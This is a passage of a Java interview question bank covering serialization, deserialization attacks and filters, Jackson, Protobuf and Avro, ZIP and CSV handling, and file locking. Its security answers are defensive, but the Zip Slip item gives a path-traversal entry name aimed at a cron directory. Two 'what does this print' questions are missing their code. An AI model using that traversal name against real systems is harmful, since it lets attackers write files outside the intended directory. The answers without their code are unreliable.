#serialization #serialversionuid

Q29 What does transient do, and how do you restore transient state? BASIC

`transient` excludes a field from default serialization. After deserialization it holds the default (null/0/false), so you must recompute it in `readObject` or `readResolve`.

- Use for caches, derived values, thread handles, passwords and file handles.
- Final transient fields cannot be reassigned in `readObject` without reflection, which makes them awkward.

FOLLOW-UP TRAPS

- **Is `transient` honoured by Jackson?** Jackson ignores the Java keyword by default unless `MapperFeature.PROPAGATE_TRANSIENT_MARKER` is on (it still skips transient fields as properties but does not remove getters).
- **Does `static transient` mean anything?** Nothing extra; static is already excluded.

#serialization #transient

Q30 How do you customize serialization with writeObject and readObject? INTERMEDIATE

Declare private methods `writeObject(ObjectOutputStream)` and `readObject(ObjectInputStream)` with exact signatures. Call `defaultWriteObject()` / `defaultReadObject()` first, then handle extra data.

```
private void readObject(ObjectInputStream in)
        throws IOException, ClassNotFoundException {
    in.defaultReadObject();
    if (age < 0) throw new InvalidObjectException("age");
    this.cache = new HashMap<>();
}
```

- `readObject` is effectively a public constructor: validate invariants there.
- The methods are found by reflection, so a wrong signature or visibility silently disables them.

FOLLOW-UP TRAPS

- **Do you need to call `defaultReadObject` first?** Normally yes, otherwise the fields are not read and the stream goes out of sync.
- **Can `readObject` be `public`?** It would not be invoked; it must be private.

#serialization #readobject #writeobject

Q31 What are readResolve and writeReplace? ADVANCED

`writeReplace` substitutes another object before writing; `readResolve` substitutes the deserialized object with another (often the canonical instance). `readResolve` preserves singleton and enum-like guarantees.

```
private Object readResolve() { return INSTANCE; }
```

- Without `readResolve` a serializable singleton can be duplicated by deserialization.
- `writeReplace` returning a small serialization proxy is the safest pattern (Effective Java).

FOLLOW-UP TRAPS

- **Why are enum singletons safe?** The JVM guarantees one instance per constant on deserialization, serializing only the name.
- **Does `readResolve` run before or after `readObject`?** After.

#serialization #readresolve #singleton

Q32 What is the serialization proxy pattern? ADVANCED

The outer class's `writeReplace` returns a private static nested `SerializationProxy` that holds the logical state. The outer class's `readObject` throws `InvalidObjectException` to block direct deserialization, and the proxy's `readResolve` rebuilds the real object via its public constructor/factory.

- Invariants are enforced by the normal constructor, defeating forged streams.
- Allows fields to be `final` and decouples the serialized form from the implementation.
- `java.time` classes use it (`Ser`), as do immutable collections.

FOLLOW-UP TRAPS

- **Can an attacker still supply the outer class bytes?** The outer `readObject` rejects it.
- **What is the cost?** A bit more code and copying.

#serialization #proxy #invariants

Q33 How does inheritance affect serialization? INTERMEDIATE

If a superclass is `Serializable`, so is the subclass and the superclass fields are serialized. If the superclass is not, its fields are not saved and on deserialization its no-arg constructor runs (which must be accessible, else `InvalidClassException`).

- A subclass can prevent serialization by throwing `NotSerializableException` from `writeObject` / `readObject`.
- Superclass state must be re-initialised via that constructor.

FOLLOW-UP TRAPS

- **Is the subclass constructor called on deserialization?** No.
- **What if the non-serializable parent has no no-arg constructor?** Deserialization fails with `InvalidClassException`.

#serialization #inheritance

Q34 What is Externalizable and how does it differ from Serializable? INTERMEDIATE

`Externalizable` extends `Serializable` with `writeExternal` / `readExternal`, giving full control of the format. The class must have a `public` no-arg constructor, which is called first and then `readExternal` fills in the state.

- Nothing is saved automatically, including superclass fields.
- Can be more compact and faster, but you own versioning and correctness.

FOLLOW-UP TRAPS

- **What happens without a public no-arg constructor?** `InvalidClassException` (no valid constructor).
- **Are `transient` modifiers relevant?** No, you decide what to write.

#serialization #externalizable

Q35 What are the security risks of Java deserialization? ADVANCED

`readObject` instantiates classes named in the stream and runs their `readObject` / `readResolve` / `finalize`-like code before the caller can check the type. With "gadget" classes on the classpath (commons-collections, Spring, etc.) an attacker can chain calls to achieve remote code execution or DoS.

- The cast after `readObject` happens too late; the damage is done during deserialization.
- Famous cases: Apache Commons Collections `InvokerTransformer`, many app-server CVEs.
- Also DoS: deeply nested or huge object graphs, hash collision payloads.

FOLLOW-UP TRAPS

- **Is it safe if you cast to your expected type?** No, the gadget runs during reading.
- **Is it only an issue for network input?** Any untrusted bytes: cookies, caches, message queues, files.

#serialization #security #gadget-chain

Q36 What are deserialization filters (JEP 290/415)? ADVANCED

`ObjectInputFilter` (Java 9+, backported to 8u121) lets you allow or reject classes and cap depth, references, array length and stream bytes while reading. Configure per stream or process-wide.

```
ObjectInputFilter f = ObjectInputFilter.Config.createFilter(
    "com.acme.dto.*;java.base/*;maxdepth=10;maxbytes=1000000;!*");
ois.setObjectInputFilter(f);
```

- Pattern order matters and `!*` rejects everything not allowed (allow-list).
- Global: `-Djdk.serialFilter=...` or `jdk.serialFilter` in `java.security`.
- JEP 415 (Java 17) adds context-specific filter factories (`ObjectInputFilter.Config.setSerialFilterFactory`).

FOLLOW-UP TRAPS

- **Is a block-list enough?** No, new gadgets appear; use an allow-list.
- **Does the filter run before the object is built?** Yes, it is invoked on class resolution and as the stream is parsed.

#serialization #filters #jep-290

Q37 Why is Java serialization generally discouraged for new designs? INTERMEDIATE

It is insecure by design, couples the wire format to class internals, is fragile across versions, is Java-only, verbose and slow. Oracle has called it a "horrible mistake" and long-term plans aim to remove it.

- Prefer explicit formats: JSON, Protobuf, Avro, with schemas and DTOs.
- If you must use it, restrict to trusted data, use filters, declare UID and consider serialization proxies.

FOLLOW-UP TRAPS

- **Is it still used internally?** Yes: RMI, HTTP session replication, some caches.
- **Is it deprecated?** Not formally, though not recommended.

#serialization #design

Q38 How do records interact with serialization? INTERMEDIATE

A record implementing `Serializable` is serialized from its components only, and deserialization calls the canonical constructor, so constructor validation applies. `readObject`, `writeObject`, `serialVersionUID` matching and `Externalizable` customizations are ignored or restricted.

```
record Point(int x, int y) implements Serializable {
    Point { if (x < 0) throw new IllegalArgumentException(); }
}
```

- `serialVersionUID` can be declared, but its matching is not required (the default is 0L unless declared).
- This closes the "forged stream bypasses constructor" hole of normal classes.
- Jackson 2.12+ supports records natively.

FOLLOW-UP TRAPS

- **Does `writeObject` on a record work?** No, it is ignored.
- **Can records implement `Externalizable`?** The `Externalizable` methods are not used for records.

#records #serialization #java16

Q39 What are the main alternatives to Java serialization, and how do JSON, Protobuf and Avro compare? INTERMEDIATE

JSON is human-readable, schema-less and verbose. Protobuf is compact binary with a compiled `.proto` schema and field numbers. Avro is compact binary where the schema travels with the data (or a registry) and is resolved at read time.

- JSON: easy debugging, browsers, loose typing, no built-in schema evolution rules.
- Protobuf: fast, tag-based forward/backward compatibility, great for gRPC.
- Avro: no field tags in data, needs writer's schema to read, strong for Kafka plus Schema Registry and big-data files.

FOLLOW-UP TRAPS

- **Can Avro be read without the writer schema?** No, the bytes do not carry field ids.
- **Is Protobuf always faster than JSON?** Usually smaller and faster, but benchmark; JSON libs are well optimised.

#json #protobuf #avro #comparison

Q40 How does schema evolution work in Protobuf versus Avro? ADVANCED

Protobuf identifies fields by number: add optional fields with new numbers, never reuse or renumber, and mark deleted ones `reserved`. Unknown fields are skipped. Avro resolves the writer schema against the reader schema by field name: new fields need defaults, and removed fields must have had defaults for backward compatibility.

- Changing a Protobuf type (e.g., `int32` to `string`) breaks compatibility; some integer widening is wire compatible.
- Avro supports aliases for renaming.
- Use a registry (Confluent) with compatibility modes BACKWARD, FORWARD, FULL.

FOLLOW-UP TRAPS

- **Can you rename a Protobuf field?** Yes, only the number is on the wire (JSON mapping uses the name though).
- **Why must Avro new fields have defaults?** So readers with the new schema can read old data lacking them.

#protobuf #avro #schema-evolution

Q41 How does Jackson serialize and deserialize Java objects? BASIC

`ObjectMapper` uses reflection (or generated accessors with modules) to map getters/fields to JSON properties and constructors/setters/`@JsonCreator` for deserialization. Create one `ObjectMapper` and reuse it; it is thread-safe once configured.

```
ObjectMapper om = new ObjectMapper()
    .registerModule(new JavaTimeModule())
    .disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);
String json = om.writeValueAsString(dto);
Dto back = om.readValue(json, Dto.class);
```

FOLLOW-UP TRAPS

- **Is `ObjectMapper` thread-safe?** Yes, after configuration; do not reconfigure it concurrently.
- **Why is `FAIL_ON_UNKNOWN_PROPERTIES` on by default?** To surface schema mismatches; many services disable it for forward compatibility (Spring Boot already does).

#jackson #json #objectmapper

Q42 What are the main Jackson annotations and pitfalls? INTERMEDIATE

`@JsonProperty` (rename), `@JsonIgnore`, `@JsonIgnoreProperties`, `@JsonCreator`, `@JsonFormat`, `@JsonInclude`, `@JsonTypeInfo` / `@JsonSubTypes` for polymorphism, `@JsonView`, `@JsonAnyGetter`.

- Entities with bidirectional relationships cause infinite recursion; use `@JsonManagedReference` / `@JsonBackReference`, DTOs or `@JsonIdentityInfo`.
- Dates: without `JavaTimeModule`, `java.time` types fail (2.12+) or serialize as arrays; disable `WRITE_DATES_AS_TIMESTAMPS` for ISO strings.
- Prefer DTOs over serializing JPA entities (lazy proxies).

FOLLOW-UP TRAPS

- **Why does `LocalDate` throw `InvalidDefinitionException`?** The JSR-310 module is not registered.
- **Does `@JsonIgnore` on a field hide the setter too?** It ignores the whole logical property.

#jackson #annotations

Q43 Why is polymorphic deserialization in Jackson a security concern? ADVANCED

Enabling default typing (`enableDefaultTyping`, `@JsonTypeInfo(use = Id.CLASS)`) allows the JSON to name any class to instantiate, enabling gadget attacks similar to Java deserialization (many Jackson CVEs).

- Use `@JsonTypeInfo(use = Id.NAME)` with explicit `@JsonSubTypes`.
- If default typing is needed, use `PolymorphicTypeValidator` allow-lists (2.10+).
- Keep Jackson patched and avoid `Object` / `Serializable` typed fields from untrusted JSON.

FOLLOW-UP TRAPS

- **Is `Id.NAME` with `@JsonSubTypes` vulnerable?** No, only listed subtypes are allowed.
- **Is plain JSON to a concrete POJO risky?** Far less; only the declared type graph is created.

#jackson #security #polymorphism

Q44 How do you stream large JSON with Jackson? INTERMEDIATE

Use the streaming API (`JsonParser` / `JsonGenerator`) or `ObjectMapper.readerFor(T).readValues(parser)` for arrays so only one element is in memory at a time.

```
try (JsonParser p = om.createParser(in)) {
    if (p.nextToken() != JsonToken.START_ARRAY) throw new IOException("array");
    while (p.nextToken() == JsonToken.START_OBJECT) {
        Event e = om.readValue(p, Event.class);
        handle(e);
    }
}
```

- `readValue(file, List.class)` loads everything.
- Jackson also enforces `StreamReadConstraints` (2.15+) such as max string length to guard against abusive payloads.

FOLLOW-UP TRAPS

- **Does `readValue` advance past one element?** Yes, leaving the parser at the end token of the object.
- **Can you stream with `JsonNode`?** Only per element; the tree of the whole doc is in memory.

#jackson #streaming #large-files

Q45 Compare the Gson and Jackson approaches, and when is JSON a poor choice? INTERMEDIATE

Jackson is the de-facto standard (Spring), feature-rich, with streaming, modules and afterburner/blackbird optimisations. Gson is simpler, uses fields by default and has fewer features. JSON is a poor fit for high-volume internal messaging, binary payloads (base64 overhead 33%), exact numeric precision and schema enforcement.

- Large `long` values lose precision in JavaScript consumers; send as strings.
- `BigDecimal` needs `USE_BIG_DECIMAL_FOR_FLOATS` to avoid double conversion on read.

FOLLOW-UP TRAPS

- **How is `byte[]` encoded?** Base64 string.
- **Can JSON have comments or trailing commas?** Not in the standard; Jackson can opt in via features.

#json #jackson #gson

Q46 How do you work with ZIP files in Java? BASIC

Use `ZipInputStream` / `ZipOutputStream` for streaming, `ZipFile` for random access to entries, or the zip `FileSystem` provider (`FileSystems.newFileSystem(path)`) to treat an archive as a directory using `Files`.

```
try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(out))) {
    zos.putNextEntry(new ZipEntry("a/data.txt"));
    Files.copy(src, zos);
    zos.closeEntry();
}
```

- `GZIPOutputStream` compresses a single stream (no entries), commonly used for `.gz` logs.
- `ZipFile` reads the central directory, so it is faster for selective access; `ZipInputStream` must scan sequentially.

FOLLOW-UP TRAPS

- **Does `ZipOutputStream.close()` write the central directory?** Yes; failing to close produces a corrupt archive.
- **Is Zip charset UTF-8 by default?** Yes for names since Java 7 unless a charset is passed.

#zip #zipinputstream #compression

Q47 What is Zip Slip and how do you prevent it? INTERMEDIATE

Zip Slip is a path traversal where an archive entry name like `../../etc/cron.d/x` makes extraction write outside the target directory. Always resolve each entry against the destination, normalize, and verify it stays

inside.

```
Path dest = destDir.toRealPath();
Path out = dest.resolve(entry.getName()).normalize();
if (!out.startsWith(dest)) throw new IOException("Bad entry: " + entry.getName());
```

- Also handle symlink entries in tar archives and absolute names.
- Create parent directories explicitly, and skip directory entries correctly.

FOLLOW-UP TRAPS

- **Does `ZipFile` sanitise names?** No, the names are returned raw.
- **Is the check needed for `Files.copy` into a zip FileSystem?** Not for writing; it is for extraction to the real filesystem.

#zip #security #zip-slip

Q48 What is a zip bomb and how do you defend against it? ADVANCED

A small archive that expands to gigabytes (or nests archives) to exhaust disk, memory or CPU. Defend by limiting total uncompressed bytes, per-entry size, entry count, nesting depth and the compression ratio while extracting.

- Do not trust `ZipEntry.getSize()`: it can be -1 or forged; count the bytes actually read.
- Abort once limits are exceeded and delete partial output.
- Run extraction in a quota-limited directory.

FOLLOW-UP TRAPS

- **Is `entry.getSize()` safe to check?** No, the header can lie in streaming mode.
- **Does the zip format forbid nested zips?** No, so depth limits are needed.

#zip #security #dos

Q49 How do you read and write CSV at scale? INTERMEDIATE

Stream rows using a real CSV parser (OpenCSV, Apache Commons CSV, univocity) with a `BufferedReader`, handling each record and discarding it. `split(",")` is wrong for quoted fields, embedded commas, newlines inside quotes and escaped quotes.

```
try (var reader = Files.newBufferedReader(p);
     CSVParser parser = CSVFormat.DEFAULT.builder().setHeader().setSkipHeaderRecord(true)
         .build().parse(reader)) {
    for (CSVRecord r : parser) { process(r.get("id")); }
}
```

- `readLine`-based parsing breaks on quoted multi-line fields.
- Batch inserts (e.g., 1000 rows per JDBC batch) rather than per-row.
- For export, write through `BufferedWriter`/response stream and never build a giant `List` first.

FOLLOW-UP TRAPS

- **Is `CSVParser` iteration lazy?** Yes, records are produced as you iterate.
- **How do you guard against CSV injection when exporting?** Prefix cells starting with `=`, `+`, `-`, `@` with a single quote or tab.

#csv #streaming #parsing

Q50 What problems does Java's old object stream have with large or long-lived streams? ADVANCED

`ObjectOutputStream` keeps a strong reference to every object written in its handle table to encode back-references, so writing millions of distinct objects to one stream leaks memory. Call `reset()` periodically (or

use `writeUnshared`) to clear the table; also mind that mutating an object after writing and re-writing it sends only a back-reference, not the new state.

- Same issue on the read side: `ObjectInputStream` retains deserialized objects.
- A new `ObjectOutputStream` writes a header; appending to an existing file requires a custom subclass overriding `writeStreamHeader`.

FOLLOW-UP TRAPS

- **Why is my updated object not saved when re-written?** The stream sent a handle to the earlier version; call `reset()` or `writeUnshared`.
- **Can you open a file in append mode and add objects?** Not directly, a second header corrupts reading.

#serialization #objectoutputstream #memory

Q51 How do you copy a stream and what does transferTo do? BASIC

Since Java 9 `InputStream.transferTo(OutputStream)` copies everything with an internal buffer (16 KB, later 8 KB variants). `Files.copy(InputStream, Path)` and `Files.copy(Path, OutputStream)` cover the common cases.

- Before Java 9 write the loop: read into `byte[]`, write the count read.
- Always use the returned count from `read`; writing the full array writes stale bytes.

FOLLOW-UP TRAPS

- **Does `transferTo` close either stream?** No.
- **Why not `byte[] b = in.readAllBytes()` for copies?** It holds the entire content in memory.

#streams #copy #transferto

Q52 What are InputStream.read semantics and the common mistakes? INTERMEDIATE

`read()` returns an int 0-255 or -1 at EOF; `read(byte[])` returns the number of bytes actually read (possibly fewer than the array size) or -1. Ignoring the return value is the classic bug.

- Use `readNBytes(n)` (Java 9+) or `DataInputStream.readFully` when you need exactly n bytes.
- `available()` is only an estimate of non-blocking bytes, not the file size or the end marker.
- `skip(n)` may skip fewer bytes than asked.

FOLLOW-UP TRAPS

- **Why does `read()` return int?** To distinguish the EOF value -1 from the byte 0xFF.
- **Is `available() == 0` end of stream?** No, it may just mean no data yet.

#streams #read #pitfalls

Scenarios

Q53 You must find all ERROR lines in a 10 GB log file on a 2 GB heap. How? BASIC

Stream line by line and keep no state beyond what you need. Memory stays constant, regardless of file size.

```
try (BufferedReader r = Files.newBufferedReader(log, StandardCharsets.UTF_8);
     BufferedWriter w = Files.newBufferedWriter(out)) {
    String line;
    while ((line = r.readLine()) != null) {
        if (line.contains("ERROR")) { w.write(line); w.newLine(); }
    }
}
```

- `Files.readAllLines` would throw `OutOfMemoryError` (and exceed the 2 GB array limit).
- Run time is bounded by disk throughput; `grep` may be faster for a one-off.

FOLLOW-UP TRAPS

- **What if the file contains invalid UTF-8?** `Files.newBufferedReader` throws `MalformedInputException`; use a decoder with `REPLACE` or ISO-8859-1.
- **What if a single line is 1 GB?** `readLine` buffers the whole line; read in chunks instead.

#large-files #logs #streaming

Q54 A 10 GB log must be searched faster. How do you parallelize? ADVANCED

Split the file into byte ranges, adjust each start forward to the next newline and each end to finish the last line, then process ranges on a thread pool, each with its own `FileChannel` positional reads or `RandomAccessFile`. Merge partial results.

- Aligning boundaries: seek to the range start, skip to after the next `\n` (except range 0), and read until passing the range end.
- Gains are limited by disk throughput; on SSD/NVMe and cached files it scales with cores, on HDD random reads hurt.
- Use `FileChannel.read(buf, pos)` which is thread-safe.

FOLLOW-UP TRAPS

- **Why not `Files.lines(p).parallel()`?** Splitting is coarse and line-boundary cost makes it unpredictable; fine for CPU-heavy per-line work only.
- **Does UTF-8 break at arbitrary byte boundaries?** Yes mid-character, but `\n` (0x0A) is never part of a multi-byte sequence, so aligning on it is safe.

#large-files #parallelism #filechannel

Q55 A user uploads a 5 GB file to your Spring endpoint and the service goes out of memory. What went wrong? INTERMEDIATE

The code probably called `file.getBytes()` or read the whole body into a `byte[]` / `String`. Stream the `InputStream` straight to disk or object storage instead.

```
@PostMapping("/upload")
void upload(@RequestParam MultipartFile file) throws IOException {
    try (InputStream in = file.getInputStream()) {
        Files.copy(in, storageDir.resolve(UUID.randomUUID().toString()));
    }
}
```

- Set `spring.servlet.multipart.max-file-size` and `max-request-size`; multipart parsers spool above `file-size-threshold` to disk.
- For real big uploads use chunked/resumable uploads or pre-signed S3 URLs so bytes bypass your JVM.
- Do not trust `file.getOriginalFilename()` for paths.

FOLLOW-UP TRAPS

- **Does `MultipartFile` hold the file in heap?** Small ones may be in memory; above the threshold it is a temp file.
- **Is Content-Length reliable for limits?** No, enforce limits while reading.

#upload #multipart #memory

Q56 A power cut leaves your config file half-written. How do you prevent corrupt writes? INTERMEDIATE

Never overwrite in place. Write a temp file in the same directory, `force` it, then `ATOMIC_MOVE` over the target. Readers then see either the old or the new complete file.

- `Files.writeString(target, ...)` truncates first, so a crash mid-write leaves an empty or partial file.

- Keep one backup generation (`config.json.bak`) for safety.
- Validate (parse/checksum) on load and fall back to the backup.

FOLLOW-UP TRAPS

- **Is `ATOMIC_MOVE` enough for durability?** It guarantees atomic visibility, but without fsync the data may still be lost after a crash.
- **What if the tmp file is on another mount?** The move throws `AtomicMoveNotSupportedException` or degrades to a copy.

#atomic-write #durability #corruption

Q57 Two processes append to the same log file. Lines are interleaved. What are your options? ADVANCED

Open with `StandardOpenOption.APPEND`, which on POSIX makes each `write` atomic positioned at EOF, and write each record in a single `write` call. For multi-write records or non-local filesystems use `FileLock`, or better route logs through one writer.

- `BufferedWriter` can split a line across multiple `write` syscalls when its buffer fills; build the complete line (with newline) first and write once.
- Atomicity of appends is only guaranteed up to a size (PIPE_BUF applies to pipes, not files); NFS has no atomic append.
- Best practice: one logging process or a logging framework with file appender locking.

FOLLOW-UP TRAPS

- **Does `synchronized` help across processes?** No, only within the JVM.
- **Do two threads in the same JVM sharing one `FileChannel` interleave safely?** Channel writes are serialized, but your multi-call records are not atomic.

#concurrency #append #filelock

Q58 What does this code print, and why is there a bug? BASIC

Output: `abcd`, then `efcd`, then `2`. The second read fills only two bytes; `c` and `d` remain from the previous read. Ignoring the returned count prints stale data.

- Use `new String(buf, 0, n)`.
- Real streams (sockets, files) may return fewer bytes than requested even before EOF.

FOLLOW-UP TRAPS

- **What does a third `read(buf)` return?** -1, and the buffer is untouched.
- **Which method guarantees filling exactly 4 bytes or throwing?** `DataInputStream.readFully` / `readNBytes`.

#streams #read #bug

Q59 Your service reads a CSV exported from Excel on Windows and non-ASCII names look like "Ã©". Why? BASIC

The bytes are in a different encoding than the one used to decode them. UTF-8 text decoded as Latin-1 yields `Ã©` for `é`. Windows-1252 text decoded as UTF-8 yields U+FFFD or exceptions.

- Ask the producer for UTF-8 (Excel's "CSV UTF-8" adds a BOM) and decode explicitly.
- Strip a leading `` if present.
- Never rely on the platform default (before Java 18 it differed across servers).

FOLLOW-UP TRAPS

- **Why does it work on your laptop but not in Docker?** The container's default locale may be POSIX, so pre-Java 18 default charset is ASCII.
- **Can you auto-detect?** Only heuristically; agree on the encoding in the contract.

#charset #encoding #csv

Q60 After upgrading from Java 11 to 21, a file written with FileWriter reads differently. Why? ADVANCED

JEP 400 made UTF-8 the default charset in Java 18+, whereas Java 11 used `file.encoding` from the OS locale (e.g., Windows-1252 or ISO-8859-1). Existing files written with the old platform default are now read as UTF-8, corrupting non-ASCII characters.

- Fix by specifying the charset on all constructors/methods, explicitly using the legacy charset for old files.
- Compatibility switch: `-Dfile.encoding=COMPAT` restores the legacy behaviour.
- `native.encoding` system property exposes the OS charset.

FOLLOW-UP TRAPS

- **Did `System.out` change too?** It uses `stdout.encoding` (terminal derived) since Java 19, not the default charset.
- **Would an ASCII-only file be affected?** No, ASCII is identical in both.

#charset #java18 #jep-400

Q61 A batch job processes thousands of files and crashes with "Too many open files". Diagnose it. INTERMEDIATE

File descriptors are leaked: streams, readers or `Files.list` / `walk` / `lines` streams are not closed on every path (especially exceptions). The process hits the `ulimit -n` limit.

```
// leak
Files.list(dir).forEach(this::handle);
// fix
try (Stream<Path> s = Files.list(dir)) { s.forEach(this::handle); }
```

- Inspect with `lsof -p <pid>` or `ls /proc/<pid>/fd | wc -l`.
- Raising `ulimit` hides the leak; fix the code.
- GC finalisation/Cleaner may eventually close leaked streams, which makes failures intermittent.

FOLLOW-UP TRAPS

- **Will GC close forgotten streams?** Eventually and unpredictably; do not rely on it.
- **Do sockets count too?** Yes, all descriptors share the limit.

#leak #file-descriptors #try-with-resources

Q62 You delete a file after processing but on Windows it throws. On Linux it works. Why? INTERMEDIATE

Windows prevents deleting or renaming a file that is still open without share-delete semantics, so a leaked stream or an active memory mapping makes `Files.delete` throw `FileSystemException` ("being used by another process"). On Linux unlinking an open file succeeds; the data persists until the last descriptor closes.

- Ensure all handles are closed first; mapped buffers stay mapped until GC.
- On Linux, deleting an open log file still consumes disk space until the process closes it (common "disk full but du says empty" case).

FOLLOW-UP TRAPS

- **Does `DELETE_ON_CLOSE` work on Windows and Linux?** Yes, but semantics are implementation-specific.
- **Can you read a file after deleting it on Linux?** Yes, through the already open descriptor.

#delete #windows #platform

Q63 Design a safe zip upload extraction endpoint. ADVANCED

Treat the archive as hostile: extract into a fresh temp directory, validate each entry, limit sizes, then process.

- Zip Slip: `dest.resolve(name).normalize().startsWith(dest)`.
- Zip bomb: cap entry count, per-entry and total uncompressed bytes (counted as read), nesting and ratio.
- Reject or ignore symlinks, absolute paths, device-like names; sanitise names for the OS.
- Use a dedicated quota-limited directory, run with minimal privileges, delete on failure.
- Scan for malware before use and never execute extracted content.

FOLLOW-UP TRAPS

- **Is it enough to check `entry.isDirectory()` ?** No, it only depends on a trailing slash in the name.
- **Should you trust the extension or MIME type?** No, validate content.

#zip #security #upload

Q64 Reading JSON with Jackson fails with `UnrecognizedPropertyException` after the producer adds a field. Fix? BASIC

By default `FAIL_ON_UNKNOWN_PROPERTIES` is true. Make consumers tolerant: disable it globally or annotate the type with `@JsonIgnoreProperties(ignoreUnknown = true)`.

- Tolerant reader is a core rule for compatible evolution: ignore unknown fields, never repurpose existing ones.
- Spring Boot's auto-configured `ObjectMapper` already disables the feature, so the failure often comes from a hand-built mapper.

FOLLOW-UP TRAPS

- **What about a missing field?** It becomes null/default unless `FAIL_ON_MISSING_CREATOR_PROPERTIES` is enabled.
- **Is silently ignoring typos a risk?** Yes, so strict mode for config files and tolerant for inter-service payloads.

#jackson #evolution #compatibility

Q65 You need to send events between services at high volume with evolving schemas. JSON, Protobuf or Avro? INTERMEDIATE

For gRPC/RPC choose Protobuf. For Kafka pipelines with many producers and consumers choose Avro (or Protobuf) with a schema registry enforcing compatibility. Choose JSON for public/browser APIs and low volume where debuggability matters.

- Measure payload size and CPU; binary formats save bandwidth and parse time.
- Registry plus CI compatibility check blocks breaking schema changes before deployment.
- Provide a debug tool (e.g., `kafka-avro-console-consumer`) to offset binary opacity.

FOLLOW-UP TRAPS

- **Does Protobuf need a registry?** Not required; compiled schemas plus field numbers are sufficient, but registries help governance.
- **Can you change a field's type later?** Mostly no, add a new field instead.

#protobuf #avro #json #design

Q66 A cached object stored with Java serialization breaks after a deploy with `InvalidClassException`. Why and how to avoid it?

INTERMEDIATE

The class changed and, with no explicit `serialVersionUID`, the computed UID changed, so old cache entries cannot be read by the new version. Declare a fixed UID and only make compatible changes, or version cache keys and flush on deploy.

- Better: store JSON/Protobuf in Redis with a version in the key.
- During rolling deploys old and new nodes share the cache; incompatible shapes cause errors on one side.

FOLLOW-UP TRAPS

- **Is adding a method an incompatible change with a declared UID?** No, methods are not serialized.
- **What if you rename a field?** It is treated as a removed field plus a new field with default value.

#serialization #serialversionuid #caching

Q67 What does this print?

INTERMEDIATE

Deserialization prints `Base()` only. `Base` is not serializable, so its no-arg constructor runs and `b` is reset to 5; `Child()` is not invoked. The result has `c=2` (restored) and `t=0` (transient, default value, field initialisers not run).

- Serialization time prints `Base()` and `Child()` once from the original construction.

FOLLOW-UP TRAPS

- **Is `t` 9 after deserialization?** No, initialisers do not run, so it is 0.
- **What if `Base` had only a constructor taking args?** `InvalidClassException: no valid constructor`.

#serialization #transient #constructor

Q68 A deserialization endpoint accepts `ObjectInputStream` from HTTP clients. How do you fix it?

ADVANCED

Best: remove native deserialization from untrusted input and switch to JSON/Protobuf with explicit DTOs. If it cannot be removed immediately, apply an allow-list `ObjectInputFilter`, limit depth/size, authenticate and sign payloads, and remove gadget libraries or update them.

```
ObjectInputFilter f = ObjectInputFilter.Config.createFilter(

"com.acme.api.Request;java.base/java.lang.*;java.base/java.util.*;maxdepth=5;maxbytes=65536;!*");
ois.setObjectInputFilter(f);
```

- Use HMAC signatures if only your own services write the data; never encrypt-only.
- Monitor with `-Djdk.serialFilter` plus logging to learn which classes appear.

FOLLOW-UP TRAPS

- **Is a `ClassLoader` allow-list in `resolveClass` still valid?** Yes, the pre-JEP 290 approach works but filters are preferred.
- **Is a WAF enough?** No, payloads are binary and easily obfuscated.

#serialization #security #rce

Q69 A record with validation is deserialized from Jackson JSON with a null name. What happens?

INTERMEDIATE

Jackson 2.12+ calls the canonical constructor with `null` for the missing component, so the compact constructor's checks run and throw; Jackson wraps it in `ValueInstantiationException`.

```
record User(String name) {
    User { Objects.requireNonNull(name, "name"); }
}
// {} -> ValueInstantiationException caused by NullPointerException: name
```

- Without a check, the record silently holds null.
- Bean Validation annotations are not enforced by Jackson; validate separately.

FOLLOW-UP TRAPS

- **Does Jackson need setters for records?** No, it uses the canonical constructor.
- **Does Jackson < 2.12 support records?** Not properly; upgrade.

#records #jackson #validation

Q70 Your Java-serialized record deserializes with a different `serialVersionUID` and works. Is that a bug? ADVANCED

No. For records the `serialVersionUID` match requirement is waived; the stream is matched by component names and types, then the canonical constructor is invoked. The default UID for a record is 0L unless declared.

- Compatibility depends on component names and types: adding a component gives default value (null/0) for old streams, which is passed to the constructor.
- Constructor validation may then reject old data.

FOLLOW-UP TRAPS

- **Can you bypass the constructor with a crafted stream?** No, which is the security advantage.
- **Do removed components break reading?** The stream's extra component is ignored.

#records #serialization #serialversionuid

Q71 Your file watcher service misses events or receives duplicates when a large file is copied into the watched folder. What do you do? INTERMEDIATE

`ENTRY_CREATE` fires when the file appears, not when the copy completes, and `ENTRY_MODIFY` may fire repeatedly. Do not process on first event.

- Producers should write to a temp name or directory and atomically rename into the watched folder.
- Otherwise debounce: wait until size and mtime are stable, or until a `.done` marker appears, or try an exclusive lock/open.
- Handle `OVERFLOW` by rescanning the directory; keep a processed-files ledger for idempotency.

FOLLOW-UP TRAPS

- **Can `tryLock` prove the writer is finished?** Not reliably, locks are advisory on Unix.
- **Does WatchService watch subdirectories?** No, register each one.

#watchservice #race-condition #ingest

Q72 WatchService on macOS reacts after about 10 seconds, but on Linux instantly. Why? ADVANCED

Linux uses inotify (event-driven). The JDK on macOS has no native FSEvents backend for the default `WatchService` and falls back to a polling implementation with a default interval of about 10 seconds.

- Use the `com.sun.nio.file.SensitivityWatchEventModifier.HIGH` modifier (about 2 s; deprecated and removed in recent JDKs) or a library using FSEvents (e.g., directory-watcher).
- Production services typically run on Linux, but dev environments differ; tests should not assume timing.

FOLLOW-UP TRAPS

- **Is there a portable API for the interval?** No.
- **Does polling detect every change?** It can miss changes that revert between two polls.

#watchservice #platform #polling

Q73 A cron job and your app both rewrite the same file. How do you coordinate? INTERMEDIATE

Use an exclusive `FileLock` on a dedicated lock file (not the data file you atomically replace) that both sides acquire, or use an atomic write so concurrent readers are safe and one writer wins.

```
try (FileChannel ch = FileChannel.open(lockFile, CREATE, WRITE);
     FileLock lock = ch.lock()) {
    // read-modify-write under lock
}
```

- Lock the stable lock file because renaming the data file replaces the inode and the lock on the old one no longer protects the new one.
- The other process must use the same protocol (advisory locks).

FOLLOW-UP TRAPS

- **What if the JVM crashes while holding the lock?** The OS releases it when the process dies.
- **What does a second `lock()` in the same JVM do?** Throws `OverlappingFileLockException`.

#filelock #concurrency #cooperation

Q74 You must make sure only one instance of a desktop or batch app runs. How? BASIC

Open a lock file and call `tryLock()`; if it returns `null` another process holds it, so exit. Keep the channel and lock referenced for the process lifetime (a GC'd channel releases the lock).

```
FileChannel ch = FileChannel.open(Path.of("/var/run/app.lock"), CREATE, WRITE);
FileLock lock = ch.tryLock();
if (lock == null) { System.exit(1); }
```

